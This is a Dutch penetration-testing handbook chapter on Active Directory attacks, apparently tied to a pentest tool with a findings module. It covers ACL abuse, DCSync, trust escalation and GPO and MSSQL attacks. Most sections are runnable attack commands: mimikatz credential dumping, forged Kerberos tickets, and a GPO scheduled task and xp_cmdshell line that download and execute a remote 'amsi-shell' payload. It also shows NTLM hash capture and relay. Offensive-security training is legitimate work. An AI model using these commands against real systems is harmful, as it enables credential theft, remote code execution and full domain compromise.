IB Tip: Na een succesvolle privilege escalation, vergeet niet je bevindingen vast te leggen in het IB Findings-systeem (/dashboard/findings). Documenteer de gebruikte techniek, het pad van gebruiker naar SYSTEM/root, en het bewijs. Dit vormt de basis van je rapport. Want een escalatie zonder documentatie is alsof een boom valt in het bos en niemand hoort het – het is niet gebeurd.

Volgend hoofdstuk: Hoofdstuk 7 – Active Directory Vorig hoofdstuk: Hoofdstuk 5 – Windows Enumeratie

Active Directory Aanvallen

Active Directory Aanvallen

“Active Directory is het Romeinse Rijk van de IT-infrastructuur. Een indrukwekkend systeem van wegen, bestuur en burgerschap dat – als je niet oppast – door zijn eigen complexiteit ten onder gaat.”

7.1 Het Rijk en Zijn Wegen

Stel je voor: het is het jaar 117 na Christus. Het Romeinse Rijk strekt zich uit van de woestijnen van Noord-Afrika tot de mistige velden van Britannia. Elke burger heeft een identiteit. Elke stad een bestuur. Elke weg verbindt twee punten van beschaving. Er zijn wetten, rechten, provincies, gouverneurs en een keizershuis dat alles bij elkaar houdt. Het systeem is zo complex geworden dat niemand het nog volledig begrijpt – en toch functioneert het, dag na dag, door de kracht van gewoonte en bureaucratie.

Microsoft Active Directory is exact hetzelfde, alleen dan met minder togas en meer LDAP-queries.

Sinds het jaar 2000 vormt Active Directory het kloppend hart van vrijwel elke zakelijke Windows-omgeving ter wereld. Het beheert wie je bent (authenticatie), wat je mag (autorisatie), waar je bij kan (resources) en hoe je computer zich gedraagt (Group Policy). Het is een LDAP-directory, een Kerberos-realm, een DNS-server en een replicatie-engine in een trenchcoat die zich voordoet als een enkel product.

En net als het Romeinse Rijk heeft het een fundamenteel probleem: het is gebouwd op vertrouwen. Vertrouwen tussen domain controllers. Vertrouwen tussen forests. Vertrouwen dat iedereen die een toga draagt ook daadwerkelijk senator is.

In dit hoofdstuk gaan we dat vertrouwen systematisch ondermijnen.

George zou zeggen: “Active Directory is het perfecte voorbeeld van wat er gebeurt als je ingenieurs laat bouwen zonder hen te vertellen dat er ook slechteriken bestaan. Het is alsof je een kluis bouwt met een deur van staal en dan vergeet dat er ook muren moeten zijn.”

7.2 ACL Abuse: De Sleutelbos aan de Muur

7.2.1 Wat zijn ACLs in Active Directory?

Elk object in Active Directory – elke gebruiker, elke computer, elke groep, elke Organizational Unit – heeft een Access Control List (ACL). Een ACL is een lijst met regels die bepaalt wie wat mag doen met dat object. Denk aan het als een bordje op de deur van een hotelkamer: “Gasten mogen naar binnen, schoonmaak mag de handdoeken verwisselen, de manager mag de minibar controleren.”

Het probleem? In een gemiddelde Active Directory-omgeving zijn er tienduizenden objecten met elk hun eigen ACL. En die ACLs zijn in de loop der jaren aangevuld, gewijzigd en vergeten door tientallen beheerders die inmiddels allang ergens anders werken. Het resultaat is een ondoorgrondelijk web van rechten waar niemand meer overzicht over heeft.

Dit is waar tools als BloodHound en PowerView om de hoek komen kijken. Ze brengen dat web in kaart en zoeken naar het pad van minste weerstand – van jouw huidige account naar Domain Admin.

7.2.2 ACL Enumeratie met PowerView

Voordat je kunt misbruiken, moet je weten wat je hebt. PowerView is de Zwitserse Zakmes van AD-enumeratie: niet fraai, niet gepolijst, maar het doet alles wat je nodig hebt.

# Alle interessante ACLs voor de huidige gebruiker vinden
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.IdentityReferenceName -match 'currentuser|currentgroup'
} | Select-Object ObjectDN,ActiveDirectoryRights,IdentityReferenceName |
    Format-Table -AutoSize

Dit commando zoekt door alle objecten in het domein naar ACL-entries die jouw gebruiker of groep noemen, en vertaalt de cryptische GUIDs naar leesbare namen. Het resultaat is een boodschappenlijstje van mogelijkheden.

# ACLs op een specifiek object bekijken (bijv. Domain Admins groep)
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ?{
    $_.ActiveDirectoryRights -match
    'GenericAll|WriteDacl|WriteOwner|GenericWrite|ForceChangePassword|WriteProperty'
}
# Wie heeft DCSync rechten? (Replicating Directory Changes)
Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs | ?{
    $_.ObjectAceType -match 'Replicating'
} | Select-Object IdentityReferenceName,ObjectAceType
# Vind accounts met GenericWrite (potentiele Kerberoast targets)
Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.ActiveDirectoryRights -match 'GenericWrite'
} | Select-Object ObjectDN,IdentityReferenceName
# Owner van een object checken (Owner kan WriteDACL uitvoeren)
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs |
    Select-Object SecurityIdentifier,Owner

Tip: Gebruik BloodHound voor visuele ACL attack paths. PowerView geeft je de ruwe data; BloodHound toont je het pad door het doolhof.

7.2.3 GenericAll: De Meestersleutel

GenericAll is precies wat het klinkt: alles. Volledige controle over een object. Als je GenericAll hebt op een gebruiker, kun je diens wachtwoord resetten, hem aan groepen toevoegen, zijn SPN wijzigen – eigenlijk alles behalve het object verwijderen (daarvoor heb je Delete nodig, maar wie doet er aan opruimen?).

Het is alsof iemand je de sleutel geeft van het hele gebouw en dan zegt: “Maar gebruik hem alleen voor de postkamer, afgesproken?” Afgesproken.

IB Command: ad_genericall

# ============================================================
# GenericAll Abuse - Volledige controle over AD object
# ============================================================

# Stap 1: Vind objecten waar je GenericAll op hebt
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.ActiveDirectoryRights -match 'GenericAll' -and
    $_.IdentityReferenceName -match 'currentuser'
}

# === Op een USER ===

# Wachtwoord resetten:
Set-DomainUserPassword -Identity targetuser `
    -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) `
    -Verbose

# Toevoegen aan groep:
Add-DomainGroupMember -Identity 'Domain Admins' -Members targetuser -Verbose

# Targeted Kerberoast (SPN zetten):
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='domain/whatever1'}

# === Op een GROEP ===

# Jezelf toevoegen:
Add-DomainGroupMember -Identity 'Domain Admins' -Members currentuser -Verbose

# === Op een COMPUTER ===

# RBCD configureren:
Set-ADComputer target$ -PrincipalsAllowedToDelegateToAccount YOURPC$

Laten we dit ontleden:

Op een gebruikersobject heb je drie favoriete opties:

  1. Wachtwoord resetten – Direct en effectief. Je verandert het wachtwoord van het doelaccount en logt in. Het nadeel: de oorspronkelijke eigenaar merkt het de volgende ochtend als hij zijn koffie nog niet op heeft.

  2. Groep membership wijzigen – Subtieler. Je voegt het account toe aan een groep met hoge privileges. Dit werkt ook als je GenericAll hebt op de groep zelf.

  3. Targeted Kerberoasting – De stilste optie. Je zet een SPN op het account, vraagt een service ticket aan, en kraakt het offline. Hier komen we in Hoofdstuk 8 uitgebreid op terug.

Op een groepsobject kun je jezelf toevoegen. Geen vragen gesteld, geen formulieren ingevuld. Het is alsof je jezelf op de gastenlijst van een exclusief feest schrijft terwijl de portier even naar het toilet is.

Op een computerobject kun je Resource-Based Constrained Delegation configureren – een techniek die we verderop in dit hoofdstuk en in Hoofdstuk 8 behandelen.

George zou zeggen: “GenericAll op een productie-account is het digitale equivalent van je voordeursleutel onder de mat leggen. Maar dan onder een mat die doorzichtig is. In een buurt waar iedereen een zaklamp heeft.”

7.2.4 WriteDACL: De Slotenmaker

Als GenericAll de meestersleutel is, dan is WriteDACL de mogelijkheid om nieuwe sleutels bij te maken. Met WriteDACL kun je de ACL van een object wijzigen – je kunt rechten toekennen die er niet waren.

Dit is bijzonder gevaarlijk omdat het transitief werkt: je geeft jezelf rechten, en die rechten geven je weer nieuwe mogelijkheden. Het is een privilege-escalatie-keten die begint met een klein gaatje en eindigt met volledige domeincontrole.

IB Command: ad_writedacl

# ============================================================
# WriteDACL Abuse - ACL van object wijzigen
# ============================================================

# Stap 1: Vind objecten waar je WriteDACL op hebt
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.ActiveDirectoryRights -match 'WriteDacl' -and
    $_.IdentityReferenceName -match 'currentuser'
}

# === DCSync rechten toekennen (op domain object) ===
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' `
    -PrincipalIdentity currentuser -Rights DCSync -Verbose

# Daarna DCSync uitvoeren:
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit

# === GenericAll rechten toekennen (op user/groep) ===
Add-DomainObjectAcl -TargetIdentity targetuser `
    -PrincipalIdentity currentuser -Rights All -Verbose

# === Specifieke rechten toekennen ===

# ResetPassword:
Add-DomainObjectAcl -TargetIdentity targetuser `
    -PrincipalIdentity currentuser -Rights ResetPassword -Verbose

# WriteMembers (op groep):
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' `
    -PrincipalIdentity currentuser -Rights WriteMembers -Verbose

De schoonheid van WriteDACL zit in de subtiliteit. Je wijzigt alleen de ACL, niet het object zelf. In veel omgevingen wordt de ACL niet gemonitord – men let op wachtwoordwijzigingen, op groepslidmaatschappen, op aanmeldingen. Maar wie kijkt er naar de permissies zelf?

Het is alsof je ’s nachts de sloten van een gebouw vervangt. De volgende ochtend komt iedereen gewoon naar binnen met de oude sleutel – maar jij hebt er eentje extra gemaakt die ook past.

De keten in de praktijk:

  1. Je ontdekt WriteDACL op het domeinobject (DC=domain,DC=local)
  2. Je kent jezelf DCSync-rechten toe
  3. Je voert een DCSync uit en haalt alle hashes op
  4. Je hebt de sleutels van het koninkrijk

Let op: WriteDACL-wijzigingen worden vastgelegd in het Security Event Log (Event ID 5136 - Directory Service Changes). Een goede SIEM detecteert dit. Een goede SIEM. Die bijna niemand correct heeft geconfigureerd.

7.3 DCSync: De Kopieerwinkel

7.3.1 Wat is DCSync?

In een Active Directory-omgeving repliceren domain controllers hun database onderling. Dit is essentieel: als DC01 uitvalt, neemt DC02 het over met dezelfde data. Het replicatieprotocol (MS-DRSR, Directory Replication Service Remote Protocol) zorgt ervoor dat wijzigingen – nieuwe gebruikers, gewijzigde wachtwoorden, aangepaste groepslidmaatschappen – van de ene DC naar de andere stromen.

DCSync misbruikt dit mechanisme. In plaats van een domain controller te zijn, doe je alsof je er een bent. Je vraagt aan de echte DC: “Hallo collega, ik heb even de laatste wijzigingen nodig van het krbtgt-account. Synchronisatie, je weet wel.” En de DC antwoordt braaf met de NTLM-hash, de AES-keys en alles wat je hartje begeert.

Het is alsof je naar een bank belt, zegt dat je de andere vestiging bent, en vraagt om een kopie van alle kluis-combinaties. En de bank zegt: “Natuurlijk! Fijn dat jullie even synchroniseren!”

7.3.2 Vereisten

Om DCSync te kunnen uitvoeren heb je twee specifieke rechten nodig op het domeinobject:

Standaard hebben de volgende groepen deze rechten: - Domain Controllers - Domain Admins - Enterprise Admins - Administrators

Maar zoals we net zagen bij WriteDACL, kun je deze rechten ook aan jezelf toekennen als je de juiste ACL-toegang hebt.

7.3.3 DCSync in de Praktijk

IB Command: ad_dcsync

# ============================================================
# DCSync aanval - Credentials repliceren van Domain Controller
# Vereiste: Replicating Directory Changes (All) rechten
# ============================================================

# Stap 1: Check of je DCSync rechten hebt
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs | ?{
    $_.ObjectAceType -match 'Replicating' -and
    $_.IdentityReferenceName -match 'currentuser'
}

# Stap 2: DCSync specifieke user (bijv. krbtgt voor Golden Ticket)
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit

# Stap 3: DCSync alle accounts
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" exit

# Stap 4: DCSync Administrator
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:Administrator" exit

# Stap 5: DCSync via SafetyKatz (AMSI bypass ingebouwd)
C:\Users\Public\Loader.exe -path http://10.0.0.1/tools/SafetyKatz.exe `
    "lsadump::dcsync /domain:domain.local /user:krbtgt" "exit"
# Vanuit Linux met Impacket:
python3 secretsdump.py DOMAIN/user:Password123!@DC_IP -just-dc-ntlm

Waarom DCSync de voorkeur heeft boven andere credential-dumping methoden:

Methode Vereist Nadelen
LSASS memory dump Lokale admin op DC AV/EDR detectie, memory artifacts
SAM dump Lokale admin Alleen lokale accounts
NTDS.dit kopieren Lokale admin op DC Volume Shadow Copy nodig, luid
DCSync Replication rechten Geen contact met LSASS, schoon

DCSync is de schoonste methode. Je raakt LSASS niet aan, je maakt geen memory dumps, je kopieert geen bestanden. Je praat gewoon met de DC via het standaard replicatieprotocol. Het is als het verschil tussen een juwelier beroven met een hamer en een koevoet, of gewoon de sleutel van de kluis opvragen bij de nachtportier.

George zou zeggen: “Microsoft bouwde een systeem waarin elke domain controller elke andere domain controller blindelings vertrouwt. En toen waren ze verbaasd dat mensen zich voordeden als domain controller. Dat is alsof je een stad bouwt waar elke politieagent gewoon een pet hoeft te dragen, en je dan verrast bent dat criminelen petten kopen.”

7.3.4 Wat Doe Je Met de Hashes?

Na een succesvolle DCSync heb je een schatkist vol hashes. De belangrijkste:

Met secretsdump.py van Impacket krijg je alles in een keer:

# Alles dumpen, alleen NTLM hashes
python3 secretsdump.py DOMAIN/user:Password123!@DC_IP -just-dc-ntlm

# Alles dumpen inclusief Kerberos keys
python3 secretsdump.py DOMAIN/user:Password123!@DC_IP -just-dc

De output bevat regels als:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8e4a231c4ea79c4c9f0e4f6ef71c949f:::

Die NTLM-hash na de derde dubbele punt? Dat is je gouden ticket naar het koninkrijk. Letterlijk, in het geval van krbtgt.

7.4 Domain Trust Attacks: Over de Grens

7.4.1 Trusts Begrijpen

Active Directory-forests en -domeinen kunnen vertrouwensrelaties (trusts) met elkaar aangaan. Dit is vergelijkbaar met hoe landen verdragen sluiten: burgers van land A mogen land B bezoeken, en vice versa. Soms eenzijdig (one-way trust), soms wederzijds (two-way trust).

Er zijn twee soorten die ons interesseren:

  1. Parent-Child trusts – Automatisch aangemaakt tussen een parent domain en een child domain binnen dezelfde forest. Twee-weg, transitief. Voorbeeld: eu.corp.local vertrouwt corp.local en andersom.

  2. Cross-forest trusts – Handmatig aangemaakt tussen twee afzonderlijke forests. Kunnen een-weg of twee-weg zijn. Voorbeeld: corp.local vertrouwt partner.local.

Het fundamentele probleem is dit: als je Domain Admin bent in een child domain, kun je escaleren naar Enterprise Admin in het parent domain. De muur tussen domeinen is een illusie – het is meer een gordijn.

7.4.2 Child-to-Parent Escalation

Deze aanval misbruikt het feit dat het krbtgt-account van het child domain een trust key deelt met het parent domain. Met die sleutel kun je een inter-realm TGT aanmaken dat de SID van Enterprise Admins bevat via SID History injection.

Het is een beetje alsof je een paspoort hebt van een klein deelstaatje, en daar een stempel op zet die zegt: “Deze persoon is ook staatshoofd van het hele land.” En het immigratiekantoor van het grote land accepteert dat gewoon.

IB Command: ad_trust_child_to_parent

# ============================================================
# Child-to-Parent trust escalation via sIDHistory
# ============================================================

# Stap 1: Trust key ophalen
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc01

# Of via DCSync:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:child\parent$"'

# Stap 2: Inter-realm TGT forgery (DA -> EA)
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator `
    /domain:child.domain.local `
    /sid:S-1-5-21-CHILD-SID `
    /sids:S-1-5-21-PARENT-SID-519 `
    /rc4:TRUST_KEY `
    /service:krbtgt `
    /target:domain.local `
    /ticket:C:\Windows\tasks\trust_tkt.kirbi" "exit"

# Stap 3: TGS aanvragen + injecteren
.\Rubeus.exe asktgs /ticket:C:\Windows\tasks\trust_tkt.kirbi `
    /service:cifs/parent-dc.domain.local `
    /dc:parent-dc.domain.local /ptt

De stappen uitgelegd:

  1. Trust key ophalen – Via lsadump::trust /patch (vereist DA op de child DC) of via DCSync op het trust account (child\parent$). Dit geeft je de RC4 of AES key die tussen de twee domeinen gedeeld wordt.

  2. Inter-realm TGT smeden – Je maakt een Golden Ticket-achtig ticket aan, maar met een cruciaal verschil: de /sids: parameter. Hier injecteer je de SID van de Enterprise Admins groep (-519) van het parent domain. Het /service:krbtgt /target:domain.local deel maakt er een inter-realm referral ticket van.

  3. TGS aanvragen – Met het gesmede ticket vraag je een service ticket aan voor een service in het parent domain. De DC van het parent domain ziet de Enterprise Admins SID in je ticket en behandelt je als EA.

Let op: SID Filtering kan deze aanval blokkeren, maar is standaard uitgeschakeld voor intra-forest trusts. Alleen bij cross-forest trusts is het ingeschakeld – en zelfs dan niet altijd correct.

7.4.3 Cross-Forest Trust Attacks

Bij een cross-forest trust heb je te maken met SID Filtering, wat betekent dat SID History injection niet werkt. Maar je kunt nog steeds een inter-forest TGT smeden om toegang te krijgen tot resources waarvoor het vertrouwde domein geautoriseerd is.

IB Command: ad_trust_cross_forest

# ============================================================
# Cross-Forest trust aanval
# ============================================================

# Stap 1: Inter-forest trust key ophalen
Invoke-Mimikatz -Command '"lsadump::trust /patch"'

# Stap 2: Inter-forest TGT forgery
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator `
    /domain:current.local `
    /sid:S-1-5-21-CURRENT-SID `
    /rc4:TRUST_KEY `
    /service:krbtgt `
    /target:external.local `
    /ticket:C:\Windows\tasks\trust_forest_tkt.kirbi" "exit"

# Stap 3: TGS aanvragen + injecteren
.\Rubeus.exe asktgs /ticket:C:\Windows\tasks\trust_forest_tkt.kirbi `
    /service:cifs/ext-dc.external.local `
    /dc:ext-dc.external.local /ptt

# Stap 4: Verifieer toegang
ls \\ext-dc.external.local\SharedFolder\

Bij cross-forest aanvallen is de scope beperkter. Je krijgt geen EA in de andere forest – je krijgt toegang tot de resources waar de trust voor geconfigureerd is. Maar dat zijn vaak genoeg gedeelde mappen met gevoelige data, applicatieservers of databases.

Je zou het zo kunnen verwoorden: het is het verschil tussen een visum dat je volledige toegang geeft tot een land, en een toeristenvisum waarmee je alleen de toeristische attracties mag bezoeken. Maar soms staan de kroonjuwelen gewoon in het museum.

7.5 GPO Abuse: Beleid als Wapen

7.5.1 Group Policy Objects

Group Policy Objects (GPOs) zijn het mechanisme waarmee beheerders beleid afdwingen op computers en gebruikers in Active Directory. Ze bepalen welke software geinstalleerd wordt, welke beveiligingsinstellingen gelden, welke scripts bij het opstarten draaien, en nog honderd andere dingen.

Een GPO is in essentie een verzameling instellingen die opgeslagen zijn in SYSVOL (een gedeelde map op de domain controller) en gelinkt zijn aan een OU, site of het domein zelf. Elke computer en gebruiker in de gelinkte scope past het beleid toe bij het aanmelden of met regelmatige tussenpozen.

7.5.2 GPO als Aanvalsvector

Als je schrijfrechten hebt op een GPO die gelinkt is aan een OU met interessante computers of gebruikers, kun je die GPO misbruiken om:

# Vind GPOs waar je schrijfrechten op hebt
Import-Module .\PowerView.ps1
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ?{
    $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|WriteOwner|GenericAll|GenericWrite' -and
    $_.IdentityReferenceName -match 'currentuser'
}
# Check waar een GPO gelinkt is
Get-DomainGPO -Identity '{GPO-GUID}' | select displayname,gpcfilesyspath

# Welke OUs zijn gelinkt?
Get-DomainOU -GPLink '{GPO-GUID}' | select name,distinguishedname

7.5.3 Scheduled Task via GPO

De meest gebruikte methode: een immediate scheduled task toevoegen aan de GPO. Dit zorgt ervoor dat de taak uitgevoerd wordt op alle computers in de scope zodra Group Policy wordt bijgewerkt.

# Maak een scheduled task aan via GPO (SharpGPOAbuse)
.\SharpGPOAbuse.exe --AddComputerTask `
    --TaskName "WindowsUpdate" `
    --Author "NT AUTHORITY\SYSTEM" `
    --Command "cmd.exe" `
    --Arguments "/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')" `
    --GPOName "Vulnerable GPO"
# Forceer Group Policy update op target (als je toegang hebt)
Invoke-GPUpdate -Computer TARGET -Force

George zou zeggen: “GPOs zijn bedoeld om orde te scheppen. Maar als de verkeerde persoon ze kan bewerken, worden ze het perfecte wapen. Het is alsof de intercom van een flat gehackt wordt en in plaats van ‘goedenmiddag’ plotseling ‘installeer deze malware’ omroept aan iedereen in het gebouw.”

7.5.4 Verdediging tegen GPO Abuse

7.6 MSSQL als Aanvalsvector

7.6.1 Waarom SQL Server?

Microsoft SQL Server is de stille reus in veel Active Directory-omgevingen. Het draait op honderden servers, wordt beheerd door DBA’s die zich niet om AD-security bekommeren, en de service accounts hebben bijna altijd te veel rechten.

Denk aan de onzichtbare infrastructuur die onze wereld draaiende houdt – waterleidingen, riolen, elektriciteitskabels. SQL Server is het digitale equivalent: niemand denkt eraan totdat het kapotgaat. En niemand controleert de beveiliging totdat het te laat is.

Vanuit een aanvaller perspectief is SQL Server interessant omdat:

  1. Service accounts vaak domain accounts zijn met hoge privileges
  2. Linked servers een keten van toegang vormen door de hele omgeving
  3. xp_cmdshell OS-commandos kan uitvoeren
  4. NTLM-authenticatie afgedwongen kan worden voor hash-capture

7.6.2 Database Enumeratie

IB Command: mssql_enum

# ============================================================
# MSSQL Enumeratie met PowerUpSQL
# ============================================================

# Stap 1: Vind SQL Server instances in het domein
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain -Verbose

# Stap 2: Check welke instances bereikbaar zijn
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

# Stap 3: Server info ophalen
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Stap 4: Check huidige rechten
Invoke-SQLAudit -Instance 'TARGET,1433' -Verbose

# Stap 5: Database enumeratie
Get-SQLDatabase -Instance 'TARGET,1433' -Verbose
Get-SQLTable -Instance 'TARGET,1433' -DatabaseName master -Verbose

# Stap 6: Linked servers ontdekken
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose

# Stap 7: Check for sysadmin
Get-SQLQuery -Instance 'TARGET,1433' `
    -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"

PowerUpSQL is voor SQL Server wat PowerView is voor Active Directory: een toolkit die de juiste vragen stelt. Get-SQLInstanceDomain doorzoekt Active Directory op geregistreerde SPN’s die beginnen met MSSQLSvc/ – elke SQL Server instance registreert zo’n SPN voor Kerberos-authenticatie.

Het Invoke-SQLAudit commando is bijzonder nuttig: het controleert automatisch op veelvoorkomende misconfiguraties zoals:

7.6.3 Linked Server Crawling

Linked servers zijn het Russisch roulette van SQL Server-beheer. Een DBA maakt een link aan tussen SQL1 en SQL2 zodat applicatie A bij de data van applicatie B kan. Dan maakt iemand anders een link van SQL2 naar SQL3. En voor je het weet heb je een keten van servers waar je doorheen kunt hoppen als een kikker over waterlelies.

IB Command: mssql_linked

# ============================================================
# MSSQL Linked Server Crawling
# ============================================================

# Stap 1: Ontdek linked servers
Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose

# Stap 2: Query via linked server (OpenQuery)
SELECT * FROM OPENQUERY("LINKED_SERVER",
    'SELECT @@servername; EXEC master..xp_cmdshell ''whoami''')

# Stap 3: Genest (dubbel gelinkt - SQL1 -> SQL2 -> SQL3)
SELECT * FROM OPENQUERY("SQL2",
    'SELECT * FROM OPENQUERY("SQL3",
    ''SELECT @@servername; EXEC master..xp_cmdshell ''''whoami'''''')')

# Stap 4: Via PowerUpSQL crawl + commando
Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' `
    -Query 'EXEC master..xp_cmdshell ''whoami''' |
    Select-Object Instance,Sysadmin,CustomQuery | Format-Table

# Stap 5: xp_cmdshell activeren op linked server
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]

De geneste OPENQUERY-syntax is een nachtmerrie van aanhalingstekens. Elke laag verdubbelt het aantal quotes dat je nodig hebt. Bij drie lagen diep zit je al op acht aanhalingstekens achter elkaar. Het is alsof je een brief schrijft in een brief in een brief, en bij elke laag moet je extra postzegels plakken.

Let op: Linked servers draaien vaak als sa (sysadmin) op de remote server. Dit betekent dat je via een keten van linked servers uiteindelijk sysadmin-rechten kunt verkrijgen op een server waar je normaal geen toegang toe hebt.

7.6.4 xp_cmdshell: De Achterdeur in de Database

xp_cmdshell is een extended stored procedure waarmee je OS-commandos kunt uitvoeren vanuit SQL Server. Het is het equivalent van een intercomsysteem in een bank dat ook de kluisdeur kan openen als je het juiste commando inspreekt.

Microsoft weet dat het gevaarlijk is – het staat standaard uit. Maar als je sysadmin bent, zet je het zo weer aan.

IB Command: mssql_xpcmdshell

# ============================================================
# MSSQL xp_cmdshell - OS Command Execution
# ============================================================

# Stap 1: Check of xp_cmdshell actief is
Import-Module .\PowerUpSQL.ps1
Get-SQLQuery -Instance 'TARGET,1433' `
    -Query "SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'"

# Stap 2: Activeer xp_cmdshell (sysadmin nodig)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Stap 3: Commando uitvoeren
EXEC master..xp_cmdshell 'whoami'

# Stap 4: Reverse shell via xp_cmdshell
EXEC master..xp_cmdshell 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')'
# Via PowerUpSQL:
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Instance 'TARGET,1433' -Command 'whoami' -RawResults

Na gebruik: ruim op.

-- xp_cmdshell weer uitschakelen
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;

Als xp_cmdshell geblokkeerd is door een beveiligingsbeleid, zijn er alternatieven:

7.6.5 UNC Path Injection: Hash Stelen via SQL

Dit is een van de elegantere technieken: je dwingt de SQL Server om een SMB-verbinding te maken naar jouw machine, waardoor de NTLM-hash van het service account wordt verzonden.

IB Command: mssql_unc_inject

# ============================================================
# MSSQL UNC Path Injection - NTLMv2 hash capture
# ============================================================

# Stap 1: Start Responder op aanvaller
responder -I eth0 -wrf

# Of Impacket smbserver:
python3 smbserver.py share /tmp -smb2support
-- Stap 2: Trigger UNC path vanuit SQL (forceert NTLM auth naar aanvaller)
EXEC master..xp_dirtree '\\10.0.0.1\share'

-- Alternatieven:
EXEC master..xp_fileexist '\\10.0.0.1\share\test'
EXEC master..xp_subdirs '\\10.0.0.1\share'
# Via PowerUpSQL:
Import-Module .\PowerUpSQL.ps1
Invoke-SQLUncPathInjection -CaptureIp 10.0.0.1
# Stap 3: Crack captured NTLMv2 hash
hashcat -m 5600 captured_hash.txt wordlist.txt

# Stap 4: Als SQL service draait als domain account - relay naar andere service
python3 ntlmrelayx.py -t TARGET2 -smb2support

Waarom werkt dit?

Wanneer SQL Server een UNC-pad probeert te benaderen (\\server\share), gebruikt Windows automatisch de credentials van het proces – in dit geval het service account van SQL Server. De NTLM-authenticatie wordt naar jouw SMB-server gestuurd, waar je de NTLMv2-hash opvangt.

Die hash kun je: 1. Kraken met hashcat of john (als het wachtwoord zwak is) 2. Relayen naar een andere service (als SMB signing niet vereist is)

George zou zeggen: “SQL Server service accounts draaien vaak als domain user met Domain Admin-achtige rechten. Waarom? Omdat de DBA tijdens de installatie ‘het werkt niet’ zei, en de systeembeheerder antwoordde ‘maak hem maar Domain Admin, dan werkt het wel.’ En zo begint elk beveiligingsincident: met twee mensen die allebei naar huis willen.”

7.7 IB Findings Management: Bevindingen Vastleggen

7.7.1 Van Exploitatie naar Rapport

Het vinden van een kwetsbaarheid is slechts de helft van het werk. De andere helft – en volgens sommigen de moeilijkere helft – is het correct documenteren van wat je gevonden hebt. Een pentest zonder rapport is als een doktersbezoek zonder diagnose: je hebt veel moeten doorstaan en bent niets wijzer geworden.

Incompetent Bastard heeft een ingebouwd finding management systeem dat je helpt om bevindingen gestructureerd vast te leggen met OWASP Top 10 classificatie, CVSS 4.0 scoring en evidence management.

7.7.2 Het Findings Model

Het systeem werkt met twee lagen:

  1. Templates (db_bevindingen_templates) – Standaard bevindingen met beschrijvingen, aanbevelingen, OWASP-categorie, CWE-nummer en MITRE ATT&CK-referentie. Dit zijn je herbruikbare bouwblokken.

  2. Bevindingen (db_bevindingen) – Projectspecifieke instanties die verwijzen naar een template maar aangevuld worden met locatie, evidence, CVSS-score en flags.

7.7.3 CVSS 4.0 Scoring

IB ondersteunt CVSS 4.0 scoring via een ingebouwde calculator. De API valideert alle 11 verplichte base metrics:

AV (Attack Vector), AC (Attack Complexity), AT (Attack Requirements),
PR (Privileges Required), UI (User Interaction),
VC (Confidentiality Impact to Vulnerable System),
VI (Integrity Impact to Vulnerable System),
VA (Availability Impact to Vulnerable System),
SC (Confidentiality Impact to Subsequent System),
SI (Integrity Impact to Subsequent System),
SA (Availability Impact to Subsequent System)

Een typische CVSS 4.0 vector voor een AD ACL abuse bevinding:

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Dit resulteert in een score van 9.4 (Critical) – omdat een lage-privilege gebruiker via het netwerk, zonder complexe aanvalsvereisten, volledige controle kan verkrijgen over zowel het kwetsbare systeem als aangrenzende systemen.

7.7.4 Bevindingen Exporteren en Importeren

Het findings systeem ondersteunt JSON export en import, waardoor je bevindingen kunt delen tussen projecten of integreren met andere tools:

# Exporteer alle bevindingen als JSON
curl http://127.0.0.1:5000/api/findings/export | python3 -m json.tool

# Importeer bevindingen uit JSON bestand
curl -X POST http://127.0.0.1:5000/api/findings/import \
    -H "Content-Type: application/json" \
    -d @findings_export.json

7.7.5 Evidence Management

